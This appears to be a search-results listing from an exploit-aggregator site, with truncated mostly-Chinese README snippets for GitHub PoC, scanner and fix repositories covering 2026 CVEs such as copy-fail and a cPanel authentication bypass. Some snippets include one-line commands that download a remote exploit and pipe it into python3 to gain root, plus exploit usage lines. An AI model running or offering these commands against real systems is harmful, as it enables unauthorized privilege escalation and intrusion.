141943 matches found
portscan-CVE-2026-41940
portscan-CVE-2026-41940 IP CIDR（可能作为输入，通过命令行或文件提供）并检查端口 2083 和 2087 是否开放 portscan-CVE-2026-41940 IP CIDR（可能作为输入，通过命令行或文件提供）并检查端口 2083 和 2087 是否开放 CIDR 端口扫描器（2083 和 2087） 一个轻量级、多线程的 Python 脚本，用于 CVE-2026-41940，可扫描一个或多个 CIDR 范围，检查 TCP 端口 2083 （cPanel SSL）和 2087 （cPanel SSL for...
CVE-2026-31431
CVE-2026-31431 概念验证（PoC） 本仓库包含针对 CVE-2026-31431 的概念验证（PoC）漏洞利用代码，演示了一个本地权限提升漏洞。 !WARNING 本项目仅限教育和安全研究目的使用 。 请仅在您拥有或已获得明确书面授权测试的系统上使用。 未经授权的使用可能违法，强烈不建议这样做。 使用方法 直接运行： root@kitploit: curl -s https://raw.githubusercontent.com/AliHzSec/CVE-2026-31431/refs/heads/master/main.py | python3 && su 祝黑客之旅愉快...
copy-fail-go
copy-fail-go grenkoca 的 Python PoC 的 Go 移植版本，针对 CVE-2026-31431 （copy-fail）。 此版本可编译为完全静态的二进制文件，零运行时依赖——无需 Python、无需 pip、无 libc 版本限制。将其放到任何 Linux 目标上即可运行。它还会自动枚举目标上所有 SUID 全局可读二进制文件，并让你通过交互式菜单选择要利用的目标。 仅限授权的安全研究和 CTF 使用。 什么是 CVE-2026-31431（copy-fail）？ 由 Theori 发现并于 2026 年 4 月 29 日 公开披露，Copy.Fail 是...
CVE-2026-24061
This repository does not have a README...
CVE-2026-87547
creationtimestamp| type| source ---|---|--- 2026-09-10 01:40:04+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mv4w7zldvo2f 2026-09-10 04:50:39+00:00| seen| https://www.hkcert.org/security-bulletin/google-chrome-multiple-vulnerabilities20260910 2026-09-10 10:07:07+00:00| seen|...
CVE-2026-4350
CVE-2026-4350 - Perfmatters WordPress 任意文件删除漏洞 描述 CVE-2026-4350 是 Perfmatters WordPress 插件中的一个任意文件删除漏洞。 CVE 详情 CVE: CVE-2026-4350 严重性: 高 CVSS: 8.1 受影响插件: Perfmatters 受影响版本: = 2.5.9.1 漏洞利用 python3 exploit/exploit.py http://target POC bash poc/poc.sh http://target 免责声明 仅供教育目的使用。...
copy-fail-CVE-2026-31431
复制失败：Linux 发行版 参考：https://xint.io/blog/copy-fail-linux-distributionsthe-demo-5...
notepad_CVE_2026_20841
此存储库没有 README。...
CVE-2026-2964-Lab
CVE‑2026‑2964 实验室 – 原型污染到远程代码执行 本仓库包含一个完整的 CVE‑2026‑2964 实验室环境，该漏洞是 web‑audio‑recorder‑js 库中的一个原型污染漏洞，在特定条件下可导致远程代码执行。 该实验室包含： 一个易受攻击的服务器（index-vulnerable.js），用于演示攻击链。 一个已修复的服务器（index-fixed.js），实现了适当的清理和允许列表验证。 直接从 GitHub 仓库拉取的原版易受攻击库代码。 通过单条命令即可完成环境搭建的脚本。 前置要求： Node.js（版本 18 或更高） npm（随 Node.js...
copyFail-CVE-2026-31431-workaround-bash
copyFail-CVE-2026-31431-workaround-bash 一些用法： root@kitploit: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...
cpanel-cve-2026-41940-fix
cpanel-cve-2026-41940-fix 针对通过 CVE-2026-41940 及 nuclear.x86 僵尸网络攻击活动被入侵的 cPanel/WHM 服务器的一键检测与修复工具。 这是什么 2026年4月28日 ，cPanel 披露了一个影响所有 11.40 之后受支持的 cPanel 与 WHM 版本 的预认证 身份验证绕过漏洞（CVE-2026-41940，CVSS 9.8）。攻击者只需向 2087 端口发送一个 HTTP 请求，即可在未认证的情况下注入 user=root 会话并直接进入 WHM。 该漏洞的利用在野外至少自 2026年2月23日...
copyfail-rs
copyfail-rs Copy Fail 漏洞利用（CVE-2026-31431）的 Rust 实现，这是一个关键漏洞，通过链式利用 AFALG 和 splice 实现 4 字节页缓存写入，从而在主流 Linux 发行版上实现本地权限提升。 基于 Xint Code 的研究和 PoC。 免责声明 !CAUTION 本项目仅用于教育和研究目的 。在您不拥有或未经明确许可的系统上运行此漏洞利用程序是非法且不道德的。请负责任地使用此代码，以理解和防御类似的漏洞。 特性 纯 Rust 实现 ：高性能、内存安全的原始 Python PoC 实现。 动态 ELF 构建器...
telnetd
telnetd 不知道这里该写什么，我稍后会编辑，但这是关于 telnetd 的 CVE-2026-24061。...
CVE-2026-31431-patch
CVE-2026-31431-patch 针对 CVE-2026-31431 漏洞的临时缓解措施 git clone https://github.com/rshosting/CVE-2026-31431-patch.git cd CVE-2026-31431-patch sh checkaead.sh 服务器重启完成后，执行以下脚本： sh completeaead.sh...
tomcat-cve-2026-34486
此存储库没有 README。...
telnetd-cve-2026-24061
Youtube 感谢这个 Python 漏洞利用...
CVE-2026-41940-Exploit-PoC
CVE-2026-41940 漏洞利用 POC 1. 运行漏洞利用脚本并指定目标 root@kitploit: python3 exploit.py --target https://example.com:2087/ 2. 捕获会话并在 Burp Suite 中重放 复制脚本生成的 whostmgrsession 值 在 Burp Suite 的浏览器中打开目标 URL 将每个请求中的 whostmgrsession 值替换为你捕获的值 转发请求 3. 结果 如果成功利用，身份验证将被绕过。 💝 致谢 特别感谢 @watchtowrlabs 提供的原始研究和漏洞利用实现。本 PoC...
CVE-2026-27636
被动侦察与指纹识别工具：检测 FreeScout 部署并分析与 CVE-2026-28289 相关的暴露面 该脚本专注于安全的基础设施情报收集，而非漏洞利用。 它帮助研究人员和防御者了解 FreeScout 实例在真实环境中的部署方式。...
Keycloak_CVE-2026-18963_PoC
CVE-2026-18963 Keycloak reset-credentials bypass → unauthenticated account takeover CVSS 9.1 | Affected: Keycloak 26.0.0 – 26.7.1 Layout root@kitploit: CVE-2026-18963/ ├── cve202618963poc.py - PoC script Python 3.9+, stdlib only ├── README.md ├── docker-compose.yml - Lab environment └──...